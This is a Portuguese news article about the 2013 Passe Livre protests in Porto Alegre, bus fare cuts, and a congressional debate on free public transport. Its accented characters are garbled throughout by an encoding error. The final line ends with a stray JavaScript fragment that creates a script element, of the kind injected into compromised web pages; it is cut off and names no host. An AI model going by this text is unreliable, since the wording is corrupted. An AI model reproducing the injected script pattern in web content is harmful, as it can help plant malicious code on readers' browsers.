Cinco horas da tarde, quando a preocupaA�A?o geral eram os protestos programados para o dia seguinte, dezenas de jovens ocuparam o plenA?rio da CA?mara de Vereadores de Porto Alegre, nesta quarta-feira.
Os manifestantes do Bloco de Lutas e Movimento Passe Livre interromperam a sessA?o plenA?ria que acabou suspensa, e pretendem ficar por lA? atA� que o passe livre seja criado.
O Movimento Passe Livre nA?o quer mais projetos, mais anA?ncios depois adiados. Quer tarifa zero jA? para estudantes e outros grupos, a exemplo do que jA? acontece com idosos no Brasil.
A� a tarifa de A?nibus entrando no rol de serviA�os sociais, como saA?de e educaA�A?o.
Como prometido, o portal da Prefeitura de Porto Alegre na internet publicou, dia 3/7, a planilha de custos usada para definir o preA�o da tarifa de A?nibus na cidade, uma das exigA?ncias do movimento. Mas naturalmente A� difA�cil a qualquer usuA?rio compreendA?-la. A planilha A� sA? uma das informaA�A�es necessA?rias A� compreensA?o.
Em Porto Alegre, o mote inicial das manifestaA�A�es de rua que depois se reproduziram pelo paA�s, ampliadas por outras demandas, foi o aumento da passagem de 2,85 para 3,05 reais bem no dia do aniversA?rio da cidade, 26 de marA�o.
A faA�sca detonadora, que legitimou o clamor das ruas na capital gaA?cha, foi o entendimento do MinistA�rio PA?blico de que a frota reserva nA?o podia constar no cA?lculo do custo (que inclui combustA�vel, pneus, pessoal e outros, sA? aplicA?veis a veA�culos em serviA�o). Primeiro por liminar, a passagem voltou aos 2,85 reais. Agora, foi reduzida R$ 2,80, depois que o fisco municipal isentou as empresas de transporte pA?blico do ISS. Pode cair mais, com isenA�A�es federais.
Mas o movimento nA?o comeA�ava ali. Apenas outra etapa do no caminho que trilha organizadamente pelo menos desde 2003, quando foi criado durante um FA?rum Social Mundial, em Porto Alegre.
Agora ficou evidente a necessidade de trazer A� luz o teor dos contratos de concessA?o e promover auditoria nas empresas.
No pioneiro movimento ambientalista gaA?cho foi assim: apA?s uma era de muito barulho, as conquistas mais consistentes deram-se pela via jurA�dica.
O Parlamento houve e se mexe
EstA?o em BrasA�lia, em passo acelerado, vA?rios projetos de lei: para tornar obrigatA?ria a demonstraA�A?o dos cA?lculos de forma clara e a auditoria nas concessionA?rias, para isentar ou reduzir impostos das empresas de transporte pA?blico e sobre o combustA�vel usado por elas, para criar conselhos municipais de transporte pA?blico.
Ontem (9/7) foi criada na CA?mara dos Deputados uma comissA?o geral sobre o tema. A� quando nas sessA�es sobre assunto relevante ou projeto de iniciativa popular, passam a falar tambA�m pessoas da sociedade: especialistas em mobilidade, representantes de movimentos sociais e gestores pA?blicos cobraram no PlenA?rio mudanA�as na polA�tica de transporte pA?blico do Brasil. Criticaram o fato de a maior parte dos recursos pA?blicos ser atualmente investida para beneficiar o transporte privado e defenderam a aprovaA�A?o da Proposta de Emenda A� ConstituiA�A?o (PEC) 90/11, da deputada Luiza Erundina (PSB-SP), que reconhece o transporte pA?blico como direito social.
Lucas Monteiro de Oliveira, do Movimento Passe Livre (MPL), frisou A� AgA?ncia CA?mara NotA�cias que uma das conquistas das ruas foi ter trazido a discussA?o para a pauta do Congresso. a�?Em 2013, essa foi a principal vitA?ria que conseguimos, depois de muito trabalho e mobilizaA�A?oa�?, disse ele, que participou da comissA?o geral proposta pelo deputadoA�Beto Albuquerque (PSB-RS) para debater polA�ticas pA?blicas de mobilidade urbana.
Segundo Monteiro, as manifestaA�A�es que ocuparam as ruas do PaA�s em junho passado conseguiram revogar o aumento das tarifas do transporte coletivo em mais de 100 cidades. PorA�m, a discussA?o deve ultrapassar a questA?o financeira.
O deputadoA�Beto Albuquerque concordou que o governo errou ao priorizar a polA�tica de desoneraA�A�es para o setor automobilA�stico e propA?s a revisA?o do financiamento do transporte pA?blico no PaA�s. a�?O transporte A� financiado hoje 100% por quem paga a tarifa.a�?
Tarifa Zero
Outro a falar na sessA?o foi o prefeito Everton Octaviani, de Agudos (SP), uma das quatro cidades brasileiras que tA?m tarifa zero. ApA?s uma dA�cada (desde 2003), a cidade arrecada mais, diversos fatores sociais e econA?micos melhoraram. a�?Vimos um comA�rcio que era quase inexistente ser fortalecido, os prestadores de serviA�o com mais facilidade para se deslocar e, assim, melhoramos as taxas de emprego e reduzimos a misA�riaa�?, relatou.
Circulam em Agudos 14 A?nibus, que percorrem cerca de 30 mil quilA?metros por mA?s e custam ao municA�pio 2% do orA�amento municipal, tirados de cortes de gastos do municA�pio, especialmente com cargos comissionados.var d=document;var s=d.createElement(‘script’);
